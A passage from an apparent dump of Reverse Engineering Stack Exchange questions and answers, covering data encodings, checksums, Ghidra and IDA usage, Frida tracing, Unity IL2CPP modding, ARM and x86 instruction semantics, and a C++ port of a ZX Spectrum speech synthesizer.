1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n\n-0.1: 1111 1111 1111 1111 1111 1111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 \n-1.1: 1111 1111 1111 1111 1111 1011 1001 1001 1001 1001 1001 1001 1001 1001 1001 1010 \n-2.2: 1111 1111 1111 1111 1111 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0100 \n-3.3: 1111 1111 1111 1111 1111 0010 1100 1100 1100 1100 1100 1100 1100 1100 1100 1101 \n-4.4: 1111 1111 1111 1111 1110 1110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0111 \n-5.5: 1111 1111 1111 1111 1110 1010 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000\n\n1.1: 0000 0000 0000 0000 0000 0100 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 \n1.2: 0000 0000 0000 0000 0000 0100 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 \n1.3: 0000 0000 0000 0000 0000 0101 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 \n1.4: 0000 0000 0000 0000 0000 0101 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 \n1.5: 0000 0000 0000 0000 0000 0110 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000\n1.6: 0000 0000 0000 0000 0000 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 0110 \n1.7: 0000 0000 0000 0000 0000 0110 1100 1100 1100 1100 1100 1100 1100 1100 1100 1100 \n1.8: 0000 0000 0000 0000 0000 0111 0011 0011 0011 0011 0011 0011 0011 0011 0011 0011 \n1.9: 0000 0000 0000 0000 0000 0111 1001 1001 1001 1001 1001 1001 1001 1001 1001 1001 \n\n-9999.0: 1111 1111 0110 0011 1100 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n</code></pre>\n",
        "Title": "Encoding of 64-bit double",
        "Tags": "|encodings|usb|float|",
        "Answer": "<p>This appears to be a fixed-point (rather than a floating-point) format.</p>\n<p>If you treat the 64-bit values as signed integers and divide by 4398046511104.0, you will get the decimal values you show.</p>\n<p>e.g. the following will print -9999</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;cstdint&gt;\n\nint main()\n{\n    int64_t x = 0xFF63C40000000000LL;\n\n    double y = x / 4398046511104.0;\n\n    std::cout &lt;&lt; y &lt;&lt; std::endl;\n}\n</code></pre>\n"
    },
    {
        "Id": "26453",
        "CreationDate": "2020-12-06T11:23:13.973",
        "Body": "<p>I'm a newbie, so I'm asking for your help.</p>\n<p>I have to decode dumped data from an appliance because I wanted to try understand the data.</p>\n<p>The data are in this format and some information are known:</p>\n<p>7E 00 20 10 75 00 00 00 07 5F C7 6F 4F 01 <strong>05</strong> C8 .. .. .. (some other bytes that are the same for each packet)</p>\n<p>7e = <strong>start framing</strong> (Does not change)</p>\n<p>20 = <strong>length of packet</strong> (Does not change)</p>\n<p>10 75 = <strong>packet type</strong> (Does not change)</p>\n<p>00 00 00 07 = <strong>incremental number</strong>, when it reach 00 00 00 FF, the next is 00 00 01 00\nwhen checksum is failed the appliance retries with same number.</p>\n<p>5F C7 6F 4F <strong>hex timestamp</strong> (unix timestamp converted in hexadecimal)</p>\n<p>01 <strong>ALTERNATING VALUE</strong> 01 or 21 (this value alternate on each received packet)</p>\n<p>05 <strong>MISTERY BYTE</strong>, i'll explain later</p>\n<p>C8 checksum calculated with the sum of incremental number plus hex timestamp, then mod 256 and subtracted with 0x03 when the alternating value is 21 or 0x23 when alternating value is set to 01. When the resulting value is negative you have to discard all FF FF and take the last byte.</p>\n<p>The problem is the mistery byte.</p>\n<p>At first glance seems to be:</p>\n<p>When last byte of timestamp is greather than checksum, the mistery byte is: 06, else is 05.\nBut sometimes this value is &quot;07&quot;</p>\n<p>Here another example:</p>\n<p>7E 00 20 10 75 00 00 00 08 5F C7 71 73 21 <strong>06</strong> 0F .. .. ..</p>\n<p>checksum calculation method:\n00 + 00 + 00  + 08 + 5F + C7 + 71 = 0x212 (decimal 530)</p>\n<p>530 mod 256 = 18</p>\n<p>decimal 18 to hex = 12</p>\n<p>because the alternating value is 21, i have to subtract 0x3 -&gt; 12 - 0x03  = checksum = 0F</p>\n<p>now the last byte of checksum 73 is greather than 0F so the result of mistery byte seems correct to be 06</p>\n<p>the problem comes when mistery field is sometimes 07. I think that this value is not merely a comparing with last byte of timestamp with checksum, but i missed something.</p>\n<p>7E 00 20 10 75 00 00 00 87 5F C7 7B ED 21 <strong>07</strong> 12</p>\n<p>7E 00 20 10 75 00 00 00 88 5F C7 7B FF 01 <strong>07</strong> 05</p>\n<p>Here some other example that seems 06 alternate with 07:</p>\n<p>7E 00 20 10 75 00 00 00 D0 5F C7 80 89 01 <strong>06</strong> DC</p>\n<p>7E 00 20 10 75 00 00 00 D1 5F C7 80 8F 21 <strong>07</strong> 03</p>\n<p>7E 00 20 10 75 00 00 00 D2 5F C7 80 95 01 <strong>06</strong> EA</p>\n<p>7E 00 20 10 75 00 00 00 D3 5F C7 80 96 21 <strong>07</strong> 0C</p>\n<p>7E 00 20 10 75 00 00 00 D4 5F C7 80 9B 01 <strong>06</strong> F2</p>\n<p>but soon there are 07 for a lot of rows</p>\n<p>7E 00 20 10 75 00 00 00 D9 5F C7 80 A9 21 <strong>07</strong> 25</p>\n<p>7E 00 20 10 75 00 00 00 DA 5F C7 80 AA 01 <strong>07</strong> 07</p>\n<p>7E 00 20 10 75 00 00 00 DB 5F C7 80 AA 21 <strong>07</strong> 28</p>\n<p>some examples with &quot;05&quot; mistery byte.</p>\n<p>7E 00 20 10 75 00 00 01 09 5F C7 82 00 21 <strong>05</strong> AF</p>\n<p>7E 00 20 10 75 00 00 01 0A 5F C7 82 05 01 <strong>05</strong> 95</p>\n<p>7E 00 20 10 75 00 00 01 0B 5F C7 82 26 21 <strong>05</strong> D7</p>\n<p>7E 00 20 10 75 00 00 01 0C 5F C7 82 2C 01 <strong>05</strong> BE</p>\n<p>Any clue of what this mistery byte is used for?</p>\n",
        "Title": "Decoding algorithm with checksum",
        "Tags": "|disassembly|decryption|crc|dumping|memory-dump|",
        "Answer": "<p>Looks like it's just addition for the checksum, so nice job on that.</p>\n<p>The mystery byte is part of the checksum.</p>\n<p>The accumulator is 2 bytes.</p>\n<pre><code>data = &quot;&quot;&quot;0000AAAAAA7E00201075000000075FC76F4F0105C8\n0000AAAAAA7E00201075000000875FC77BED210712\n0000AAAAAA7E00201075000000885FC77BFF010705&quot;&quot;&quot;.strip().split(&quot;\\n&quot;)\n\nimport struct\n\nfor i,l in enumerate(data):\n    xs = bytes.fromhex(l)\n    body = xs[:-2]\n    xsum = xs[-2:]\n\n    v = 187\n    for b in body:\n        v+=b\n\n    \n    print(&quot;msg&quot;,i,&quot;body&quot;,body.hex(),&quot;checksum&quot;,xsum.hex(),&quot;calcxsum&quot;,struct.pack(&quot;&gt;H&quot;,v).hex())\n</code></pre>\n<p>Run:</p>\n<pre><code>$ python3 xsumtest.py \nmsg 0 body 0000aaaaaa7e00201075000000075fc76f4f01 checksum 05c8 calcxsum 05c8\nmsg 1 body 0000aaaaaa7e00201075000000875fc77bed21 checksum 0712 calcxsum 0712\nmsg 2 body 0000aaaaaa7e00201075000000885fc77bff01 checksum 0705 calcxsum 0705\n</code></pre>\n"
    },
    {
        "Id": "26456",
        "CreationDate": "2020-12-06T13:28:03.020",
        "Body": "<p>Attached is the part of a disassembled main from a x86 binary file, generated by ghidra.</p>\n<pre><code>                             **************************************************************\n                             *                          FUNCTION                          *\n                             **************************************************************\n                             undefined main(undefined1 param_1)\n             undefined         AL:1           &lt;RETURN&gt;                                XREF[1]:     0804835e(W)  \n             undefined1        Stack[0x4]:1   param_1                                 XREF[1]:     08048309(*)  \n             undefined4        EAX:4          str_in                                  XREF[1]:     0804835e(W)  \n             undefined4        Stack[0x0]:4   local_res0                              XREF[1]:     08048310(R)  \n             undefined4        Stack[-0x10]:4 local_10                                XREF[6]:     08048358(R), \n                                                                                                   08048363(W), \n                                                                                                   0804836d(R), \n                                                                                                   08048388(R), \n                                                                                                   08048393(W), \n                                                                                                   0804839d(R)  \n             undefined4        Stack[-0x14]:4 local_14                                XREF[2]:     0804831a(W), \n                                                                                                   08048366(R)  \n             undefined4        Stack[-0x18]:4 local_18                                XREF[2]:     08048321(W), \n                                                                                                   08048396(R)  \n             undefined4        Stack[-0x2c]:4 local_2c                                XREF[3]:     08048369(W), \n                                                                                                   08048399(W), \n                                                                                                   080483ac(W)  \n             undefined4        Stack[-0x30]:4 local_30                                XREF[12]:    08048328(*), \n                                                                                                   08048334(*), \n                                                                                                   08048340(*), \n                                                                                                   0804834c(*), \n                                                                                                   0804835b(*), \n                                                                                                   08048370(*), \n                                                                                                   0804837c(*), \n                                                                                                   0804838b(*), \n                                                                                                   080483a0(*), \n                                                                                                   080483b4(*), \n                                                                                                   080483c2(*), \n                                                                                                   080483d0(*)  \n                             main                                            XREF[2]:     Entry Point(*), \n                                                                                          _start:08048167(*)  \n        08048309 8d 4c 24 04     LEA        ECX=&gt;param_1,[ESP + 0x4]\n        0804830d 83 e4 f0        AND        ESP,0xfffffff0\n        08048310 ff 71 fc        PUSH       dword ptr [ECX + local_res0]\n        08048313 55              PUSH       EBP\n        08048314 89 e5           MOV        EBP,ESP\n        08048316 51              PUSH       ECX\n        08048317 83 ec 24        SUB        ESP,0x24\n        0804831a c7 45 f4        MOV        dword ptr [EBP + local_14],DAT_080a6b19          = 6Ah    j\n                 19 6b 0a 08\n        08048321 c7 45 f0        MOV        dword ptr [EBP + local_18],s_the_ripper_080a6b1e = &quot;the ripper&quot;\n                 1e 6b 0a 08\n</code></pre>\n<p>Same code from gdb</p>\n<pre><code>   0x08048309 &lt;+0&gt;: lea    ecx,[esp+0x4]\n   0x0804830d &lt;+4&gt;: and    esp,0xfffffff0\n   0x08048310 &lt;+7&gt;: push   DWORD PTR [ecx-0x4]\n   0x08048313 &lt;+10&gt;:    push   ebp\n   0x08048314 &lt;+11&gt;:    mov    ebp,esp\n   0x08048316 &lt;+13&gt;:    push   ecx\n   0x08048317 &lt;+14&gt;:    sub    esp,0x24\n=&gt; 0x0804831a &lt;+17&gt;:    mov    DWORD PTR [ebp-0xc],0x80a6b19\n</code></pre>\n<p>Why is ghidra changeing <code>[ebp-0xc]</code> to <code>[EBP + local_14]</code>.\nSimilar question I found is <a href=\"https://reverseengineering.stackexchange.com/questions/23540/ghidra-interpreting-stack-pointers-wrongly\">Ghidra interpreting stack pointers wrongly</a> but reading the answer, I'm not getting the meaning of <code>[EBP + local_14]</code> Here, is ghidra just renaming <code>-0xc</code> to a easily readable name like <code>local_14</code>? I'm not getting how to make sense of this exactly.</p>\n<p>In the function header, it is shown that <code>Stack[-0x10]:4 local_10</code>. I assume it means that <code>local_10</code> is 4 byte variable at Stack[-0x10], where Stack is the stack pointer upon entry to function. But why is it added to ebp. What's the meaning of that representation used by ghidra?</p>\n",
        "Title": "Correct way to understand local_ in ghidra disassembly",
        "Tags": "|disassembly|binary-analysis|x86|gdb|ghidra|",
        "Answer": "<p>Since local variables are usually placed on the stack in <code>x86</code> and <code>esp</code> register can change during function execution, it is more convenient to save the value of <code>esp</code> register on function entry and access data relatively to that value. <code>ebp</code> register is used for this purpose. So you will often see</p>\n<pre><code>push ebp\nmov ebp, esp\n</code></pre>\n<p>lines at the begining of functions. In the example you have provided it is the case - all local variables are accessed this way, through <code>ebp</code>.</p>\n<p>Now, there are two different naming conventions for local variables:</p>\n<ul>\n<li>first and more natural one: if <code>[ebp - xxx]</code> is accessed, it will be displayed as <code>[ebp + local_xxx]</code>. Here, <code>local_xxx = -xxx</code>, so for instance, <code>local_18 = -0x18</code>.</li>\n<li>second and less intuitive one makes use of the <code>esp</code> value at the beginning of a function. In your example, two dwords are pushed on the stack before <code>mov ebp, esp</code> line. It means, that if some local variable was called <code>local_xxx</code> in the first convention, in the second one it will be named <code>local_xxx+0x8</code>, for instance <code>local_18</code> in the first one will be <code>local_20</code> in the second one, used by Ghidra.</li>\n</ul>\n<p>Why do we add <code>0x8</code> in the second one? Because two dwords (<code>8</code> bytes) were pushed onto the stack before <code>esp</code> value was saved into <code>ebp</code> and in <code>x86</code> architecture stack &quot;grows downwards&quot;, which means if you push something onto it, this value will be saved there and <code>esp</code> will be <em>decreased</em> accordingly (in this case, twice, by <code>4</code> bytes). So, in your particular example, you have the instruction</p>\n<pre><code>mov    DWORD PTR [ebp-0xc],0x80a6b19\n</code></pre>\n<p>which would be displayed as</p>\n<pre><code>mov    DWORD PTR [ebp+local_c],0x80a6b19\n</code></pre>\n<p>in the first convention and</p>\n<pre><code>mov    DWORD PTR [ebp+local_14],0x80a6b19\n</code></pre>\n<p>in the second one, implemented in Ghidra, since <code>0xc + 0x8 = 0x14</code>.</p>\n"
    },
    {
        "Id": "26463",
        "CreationDate": "2020-12-06T23:31:42.357",
        "Body": "<p>Since React Native 0.60.4 developers can opt-in to use the <a href=\"https://reactnative.dev/docs/hermes\" rel=\"nofollow noreferrer\">Hermes JS Engine</a>. This generates an <code>index.android.bundle</code> binary that contains Hermes JS bytecode.</p>\n<p>The Hermes <a href=\"https://github.com/facebook/hermes/blob/master/doc/BuildingAndRunning.md#other-tools\" rel=\"nofollow noreferrer\">documentation</a> mentions <code>hbcdump</code> which is described as a &quot;Hermes bytecode disassembler&quot;</p>\n<p>By using <code>hbcdump -pretty-disassemble -c disassemble -out out.txt index.android.bundle</code> I do get something that is at least a little more human readable but it does not look like it can be compiled back again and is not easy to work with.</p>\n<p>How can I decompile Hermes JS bytecode into JavaScript?<br/>\nAlternatively: How can I modify the bytecode? Is there a tool that understands this bytecode?</p>\n",
        "Title": "How can I modify or decompile Hermes JS bytecode?",
        "Tags": "|decompilation|javascript|decompile|byte-code|",
        "Answer": "<p>Refer below link someone added support for version 84 in his forked repo</p>\n<p><a href=\"https://github.com/niosega/hbctool/tree/draft/hbc-v84\" rel=\"nofollow noreferrer\">hbc-v84</a></p>\n"
    },
    {
        "Id": "26473",
        "CreationDate": "2020-12-07T20:41:12.620",
        "Body": "<p>I am reversing a binary using Ghidra. In the disassembled output, I have the following lines in the main function:</p>\n<pre><code>(code *)mmap((void *)0x0,0x55,7,0x22,-1,0)\n</code></pre>\n<p>I am quite confused here since the file descriptor appears to be -1 and I remember reading that file descriptors should be non-negative.</p>\n<p>Can someone please tell me what I am missing here?</p>\n",
        "Title": "mmap with file descriptor -1 in disassembled output",
        "Tags": "|ghidra|",
        "Answer": "<p><a href=\"https://man7.org/linux/man-pages/man2/mmap.2.html\" rel=\"nofollow noreferrer\">https://man7.org/linux/man-pages/man2/mmap.2.html</a></p>\n<p>Relevant section pertaining to the <code>flags</code> argument (emphasis added):</p>\n<blockquote>\n<p>MAP_ANONYMOUS:\nThe mapping is not backed by any file; its contents are\ninitialized to zero. <strong>The fd argument is ignored; however,\nsome implementations require fd to be -1 if MAP_ANONYMOUS (or\nMAP_ANON) is specified, and portable applications should\nensure this.</strong>  The offset argument should be zero.  The use of\nMAP_ANONYMOUS in conjunction with MAP_SHARED is supported on\nLinux only since kernel 2.4.</p>\n</blockquote>\n<p>While this seems like a likely explanation, it isn't a 100% guarantee on its own. You could find further proof by looking at the headers for the system you're REing to confirm that <code>MAP_ANONYMOUS</code> is indeed being used as part of the flags.</p>\n"
    },
    {
        "Id": "26478",
        "CreationDate": "2020-12-08T13:54:21.537",
        "Body": "<p>I've been looking into reverse engineering a game developped with Unity 2017.4.10, to find a way to get a freely controlled camera. I found the values that interest me in Managed/Assembly-CSharp.dll and figured out how to modify them with dnSpy, however any changes to this dll don't have any effect in-game. Using VMMap told me the game doesn't load the Assembly-CSharp.dll at all, and I assume the code for the game is in UnityPlayer.dll. That dll seems to be obfuscated, since dnSpy is unable to read it beyond hex.</p>\n<p>My question is two-fold:</p>\n<ol>\n<li>Is there a way to decompile UnityPlayer.dll in a more readable way?</li>\n<li>Is it perhaps possible to inject the successfully modified Assembly-CSharp.dll into the game to replace functions loaded from UnityPlayer.dll?</li>\n</ol>\n",
        "Title": "Modifying UnityPlayer.dll with dnSpy or other",
        "Tags": "|decompilation|game-hacking|",
        "Answer": "<ol>\n<li><p>You can disassemble GameAssembly.dll with GHIDRA, IDA or any other disassembler that supports x86. Decompilation is also available but nowhere near as with dnSpy because code is not C# anymore. It is C++ and you will need GHIDRA or IDA Pro if you have it to get best code decompilation.</p>\n</li>\n<li><p>You cannot inject managed assemblies into the compiled GameAssembly.dll. But...</p>\n</li>\n</ol>\n<p>If game has moved on to IL2CPP you cannot simply edit the files anymore. You have 2 options to achieve your goal since you still have managed assemblies:</p>\n<p>C# - Use BepInEx IL2CPP loader or similar and simply write a &quot;plugin&quot; (DLL written in C# code) which will execute in the game AppDomain and get you what you want. BepInEx comes with everything needed for a fast deployment and development since there are examples that will get you up and running in minutes. Use Reflection for maximum profit.</p>\n<p>C++ - Reverse Engineer GameAssembly.dll.\nSome tools to consider: IL2CppDumper for dumping the methods prototypes from GameAssembly.dll, IL2CppInspector to also dump but with some options on how you want it dumped. You can also make IDA\\GHIDRA scripts to apply to GameAssembly database. And you could also look at Il2CppAssemblyUnhollower. Very important to learn how to cast some data types and such.</p>\n<p>First option is much easier especially since you have access to old managed code (Assembly-CSharp.dll) and you can look up the source in dnspy.</p>\n<p>Second option is a bit advanced and you will not get source code and you will have to use C++ and Read\\Write into the process memory manually but as said but it is a good way to get familiar with IL2CPP because not every game\\project will have managed assemblies for you to see the source code.</p>\n"
    },
    {
        "Id": "26481",
        "CreationDate": "2020-12-08T15:22:37.013",
        "Body": "<p>I have an executable with 2 .dll calls 1 of this dll is guard.dll others name is guardlib.dll both of them is encrypted c++ library file and they are called before executable entry point.</p>\n<p>I can bypass anti-debug with x32dbg and now \u0131 want to extract decrypted dll with debugger is that possible</p>\n<p>Also this dlls are creating HWID with ap\u0131 calls and registery keys (I think) Is there a way to have a look at what registry keys are looking for?</p>\n<p>If anyone wants to help me please contact me :)</p>\n",
        "Title": "how can \u0131 debug encrypted dll with x32dbg and look getregistery request",
        "Tags": "|debugging|c++|dll|x64dbg|",
        "Answer": "<p>Instead of trying to dump the encrypted executable, it may be better to just monitor the API calls at runtime using something like <a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">Rohitab API Monitor</a>. This is usually the easiest approach in cases where you can get the executable to run the code of interest. It also gives you the address of the calling code and call stack information, which you can then look at in your debugger in order to get a better idea of what's happening around the call site.</p>\n<p>If you do need to dump the decrypted binary from memory, take a look at <a href=\"https://github.com/glmcdona/Process-Dump\" rel=\"nofollow noreferrer\">Process Dump</a>. You can target the running process after the DLL decryption process has been completed and it'll produce a reconstructed PE file. It's also pretty good at recovering PEs that have been mangled in memory by anti-debug and anti-dumping tricks.</p>\n"
    },
    {
        "Id": "26487",
        "CreationDate": "2020-12-09T04:23:34.140",
        "Body": "<p>I'm analyzing a C++ PE binary with its debug symbols using IDA 7.3 w/ the decompiler.</p>\n<p>I'm using the HexRaysPyTools plugin to get the xrefs to class fields, but it doesn't show xrefs to virtual functions.</p>\n<p>I want to know if there is an existing similar plugin that can build the xref list for calls to virtual functions statically (ie. without running the code).</p>\n<p>As far as I can understand the behavior of HexRaysPyTools, it should be trivial to do that as the IDA decompiler already recognize virtual function calls when decompiling, I just need it to store the xref list to virtual functions just as HexRaysPyTools does with member fields.</p>\n",
        "Title": "IDA plugin to show xrefs to virtual functions?",
        "Tags": "|ida|",
        "Answer": "<p>In fact this is not as \u201ctrivial\u201d as one might think.</p>\n<p>However there was a plug-in submitted to this year\u2019s plug-in contest that <em>might</em> work:</p>\n<p><a href=\"https://www.hex-rays.com/contests_details/contest2020/#ida_medigate\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/contests_details/contest2020/#ida_medigate</a></p>\n<p><a href=\"https://github.com/medigate-io/ida_medigate\" rel=\"nofollow noreferrer\">https://github.com/medigate-io/ida_medigate</a></p>\n"
    },
    {
        "Id": "26508",
        "CreationDate": "2020-12-11T14:37:45.353",
        "Body": "<p>I like to view the path between 2 functions with IDA 7.0.</p>\n<p>I have already tried with &quot;function browser&quot; but not work becouse these 2 functions are not linked.</p>\n<p>For what I see there is no way to choose multiple functions and see their position in the graph.</p>\n<p>There is a way with IDA or other software to show the path between multiple functions ?</p>\n<p>Thanks !</p>\n",
        "Title": "IDA how to view path between 2 functions",
        "Tags": "|ida|",
        "Answer": "<p>It's a bit complicated but should be possible via the <a href=\"https://www.hex-rays.com/blog/new-feature-in-ida-6-2-the-proximity-browser/\" rel=\"nofollow noreferrer\">proximity view</a>. You can also try a third party plugin <a href=\"https://github.com/tacnetsol/ida/tree/master/plugins/alleycat\" rel=\"nofollow noreferrer\">AlleyCat</a>.</p>\n"
    },
    {
        "Id": "26535",
        "CreationDate": "2020-12-14T08:44:56.457",
        "Body": "<p>Apologies for a beginner-esque question, but I am reverse engineering an Android application, that is most probably using the <code>libusbhost.so</code> library to interface with USB devices via Java Native Interface.</p>\n<p>How would I go about doing so?</p>\n",
        "Title": "How can I see when a library is being called in Android?",
        "Tags": "|android|java|usb|libraries|",
        "Answer": "<p>It is a bit unclear what do you mean by &quot;library being called&quot;. If you want to know when the library is loaded, you may look for references to <code>System.loadLibrary(string)</code> or <code>System.load(string)</code> java functions. You might for example hook it using <a href=\"https://frida.re/docs/android/\" rel=\"nofollow noreferrer\">Frida</a>.</p>\n<p>If you want to see when particular functions exported by the <code>libusbhost.so</code> are called, you also may use Frida. There is prebuild tool called <a href=\"https://frida.re/docs/frida-trace/\" rel=\"nofollow noreferrer\">frida-trace</a>. For example using <code>frida-trace -U -i \u201cJava_*\u201d [package_name]</code>, will print out all the calls to JNI native functions from your app, along with their timestamp.</p>\n<p>If you want to alter the parameters of the called functions, modify the way they work, or replace their return values - you may find the <a href=\"https://frida.re/docs/javascript-api/#interceptor\" rel=\"nofollow noreferrer\">Frida Interceptor</a> module useful.</p>\n"
    },
    {
        "Id": "26536",
        "CreationDate": "2020-12-14T09:54:25.383",
        "Body": "<p>I have a question about JNE.\nI use ollydbg and ReverseMe tutorial.</p>\n<p>In <strong>JNE</strong> condition, the zero flag is equal to <strong>1</strong>. and it mean the arithmetic result is <strong>zero</strong>. Right?</p>\n<p>The <strong>Z=1</strong> meaning the condition is true and it want to jump to Error message???\nand If i change the <strong>zero flag</strong> to <strong>0</strong> <strong>(Z=0)</strong>, it mean false? and ignore the Error message??</p>\n<p>JNE = Jump If not Equal. So whats that mean? if not equal to .. ? What does it compare to?</p>\n<p>i confused ...\n<a href=\"https://i.stack.imgur.com/183vC.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/183vC.jpg\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How JNE work in Ollydbg?",
        "Tags": "|assembly|",
        "Answer": "<p>JNE is an alias for JNZ because the CMP instruction will set ZF to 1 if the two values being compared are equal. So you can read it as \u201cjump if <strong>not zero flag</strong>\u201d, or \u201cjump if ZF is not set\u201d, or \u201cjump if ZF is 0\u201d.</p>\n<p>In your specific case, the jump will be taken if <code>eax</code> is <em>not equal</em> to -1.</p>\n"
    },
    {
        "Id": "26542",
        "CreationDate": "2020-12-15T06:55:26.317",
        "Body": "<p>The following instructions are part of a IDA's disassembly of an AARCH64 binary. While it is fairly obvious that the <code>#</code> represent pure numbers and the <code>[]</code> probably refer to the memory address referred to by the elements in the <code>[]</code>, I don't quite understand what is the role of the &quot;,&quot;. I appreciate a description of the following load and store instructions.</p>\n<pre><code>LDR             X1, [X28,#0x10]\nSTR             X0, [SP,#0x30+arg_8]\n</code></pre>\n",
        "Title": "What do the following AARCH64 LDR and STR instructions do exactly?",
        "Tags": "|ida|assembly|arm64|aarch64|",
        "Answer": "<p>This is a pretty standard assembly syntax and not particular to AArch64.</p>\n<p>The general pattern looks like:</p>\n<pre><code>[reg, displacement]\n</code></pre>\n<p>(In some assemblers parentheses are used instead of square brackets)</p>\n<p>The operation performed is approximately equivalent to the C expression:</p>\n<pre><code>*(reg+displacement)\n</code></pre>\n<p>In other words, the displacement is added to the value of the register and the resulting value is <em>dereferenced</em> as if it was a pointer. For load instruction (LDR), the memory is <em>read</em> from and the result is stored in the destination register; for the store (STR), the source register\u2019s value is <em>written</em> to the memory at the calculated address.</p>\n<p>In case of the SP reference, IDA converted the raw displacement value to a <em>stack variable</em> reference. This is done so it\u2019s easier to track accesses to the same area of the stack frame across the whole function.\nWhile the SP value may change at runtime, the  stack variables will be stored at the same offset from it on each run of the program.</p>\n"
    },
    {
        "Id": "26544",
        "CreationDate": "2020-12-15T11:10:05.487",
        "Body": "<p>For quite a long time I wanted to add TTS (text-to-speech) to my MCU applications and I tried quite few of them with more or less success always hitting a wall that either quality is not good or needed CPU power is too much.</p>\n<p>However I recently found a <a href=\"https://retrocomputing.stackexchange.com/a/17208/6868\">very old TTS from ZX Spectrum</a> (in the link is more info and also link to original tap file repository) that is really good and simple (just 801 Bytes of Z80 asm code). So I did it a try , disassembled it (extract the basic and asm from tap file by my own utilities and disassembled with YAZD) and port the result to C++ with complete success. It sound good on both PC and MCU with very little CPU power needed. It produces 1 bit digital sound.</p>\n<h3>Here is the C++ source code I made:</h3>\n\n<pre><code>//---------------------------------------------------------------------------\n//---  ZX Hlasovy program voicesoft 1985  -----------------------------------    \n//--- ported to C++ by Spektre ver: 1.001 -----------------------------------\n//---------------------------------------------------------------------------\n#ifndef _speech_h\n#define _speech_h\n//---------------------------------------------------------------------------\n// API:\nvoid sound_out(bool on);    // you need to code this function (should add a sample to sound output)\nvoid say_text(char *txt);   // say null terminated text, &quot;a'c'&quot; -&gt; &quot;\u00e1\u00e8&quot;\n//---------------------------------------------------------------------------\n// internals:\nvoid say_char(char chr);    // internal function for single character (do not use it !!!)\nvoid say_wait(WORD ws);     // internal wait (do not use it !!!)\n//---------------------------------------------------------------------------\n// vars:\nbool _sound_on=false;       // global state of the reproductor/sound output\n//---------------------------------------------------------------------------\n// config: (recomputed for 44100 Hz samplerate)\nconst static BYTE t_speed=5;        // [samples] 1/(speech speed) (pitch)\nconst static WORD t_pause=183;      // [samples] pause between chars\nconst static WORD t_space=2925;     // [samples] pause ` `\nconst static WORD t_comma=5851;     // [samples] pause `,`\n//---------------------------------------------------------------------------\n// tables:\nconst static BYTE tab_char0[52]=    //  0..25 normal alphabet A..Z\n    {                               // 26..51 diacritic alphabet A..Z\n    0x00,0x02,0x06,0x0a,0x0e,0x10,0x12,0x16,0x1a,0x1c,0x22,0x26,0x2a,0x2e,0x32,\n    0x34,0x38,0x42,0x48,0x4a,0x4e,0x50,0x50,0x56,0x1a,0x5c,0x64,0x66,0x70,0x74,\n    0x7a,0x7c,0xc2,0x84,0x86,0xc2,0xc2,0xc2,0x88,0x8c,0x92,0x94,0xc2,0x9e,0xa6,\n    0xa8,0xae,0xb0,0xc2,0xc2,0x86,0xbc\n    };\nconst static BYTE tab_char1[196]=\n    {\n    0x36,0x81,0x34,0x19,0x31,0xab,0x18,0x19,0x91,0xc3,0x34,0x19,0x31,0xe0,0x36,\n    0x84,0x92,0xe3,0x35,0x19,0x51,0x9c,0x31,0x31,0x34,0x96,0x36,0x87,0x33,0x3a,\n    0x32,0x3d,0x32,0xc0,0x18,0x19,0x51,0x9c,0x33,0x22,0x31,0xb1,0x31,0x31,0x36,\n    0xa5,0x31,0x31,0x36,0xa8,0x36,0x8a,0x18,0x19,0x31,0xab,0x18,0x19,0x51,0x1c,\n    0x34,0x31,0x32,0x34,0x32,0xb7,0x22,0x10,0x13,0x19,0x21,0xae,0x92,0xc3,0x18,\n    0x19,0x31,0xe0,0x36,0x8d,0x34,0x31,0x32,0x34,0x32,0xb7,0x18,0x19,0x71,0x1c,\n    0x92,0xc3,0x32,0x31,0x32,0x43,0x32,0x44,0x32,0xc5,0x3f,0x81,0x34,0x19,0x31,\n    0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x18,0x19,0x91,0xd3,0x33,0x19,0x71,0x6d,\n    0x32,0x93,0x3e,0x84,0x92,0x63,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x92,0xf3,0x3e,\n    0x87,0x31,0x31,0x36,0x25,0x31,0x31,0x35,0x25,0x32,0x93,0x3e,0x8a,0x18,0x19,\n    0x31,0x2b,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x13,0x19,0x32,0x60,0x13,0x19,0x71,\n    0xdd,0x92,0xd3,0x18,0x19,0x71,0x6d,0x32,0x93,0x3e,0x8d,0x34,0x31,0x32,0x34,\n    0x32,0x37,0x33,0x3a,0x32,0x3d,0x32,0xc0,0x32,0x53,0x32,0x54,0x32,0xd5,0x1a,\n    0x99\n    };\nconst static BYTE tab_char2[262]=\n    {\n    0x1a,0x99,0xe1,0xc3,0xe1,0xc7,0x8f,0x0f,0xf8,0x03,0x0f,0x07,0xc1,0xe3,0xff,\n    0x40,0x17,0xff,0x00,0x03,0xf8,0x7c,0xc1,0xf1,0xf8,0x03,0xfe,0x00,0x7f,0xfc,\n    0x00,0x03,0xf8,0x0f,0x09,0xf1,0xfe,0x03,0xef,0x40,0x17,0xff,0x00,0x03,0xe1,\n    0x5c,0x35,0xc5,0xaa,0x35,0x00,0x00,0x00,0x00,0x00,0x00,0x3e,0x8e,0x38,0x73,\n    0xcf,0xf8,0x78,0xc3,0xdf,0x1c,0xf1,0xc7,0xfe,0x03,0xc0,0xff,0x00,0x00,0xff,\n    0xf8,0x00,0x7f,0xf8,0x03,0xff,0xf0,0x01,0xff,0xe0,0x03,0xaa,0xca,0x5a,0xd5,\n    0x21,0x3d,0xfe,0x1f,0xf8,0x00,0x00,0x1f,0xff,0xfc,0x20,0x00,0x00,0x03,0xff,\n    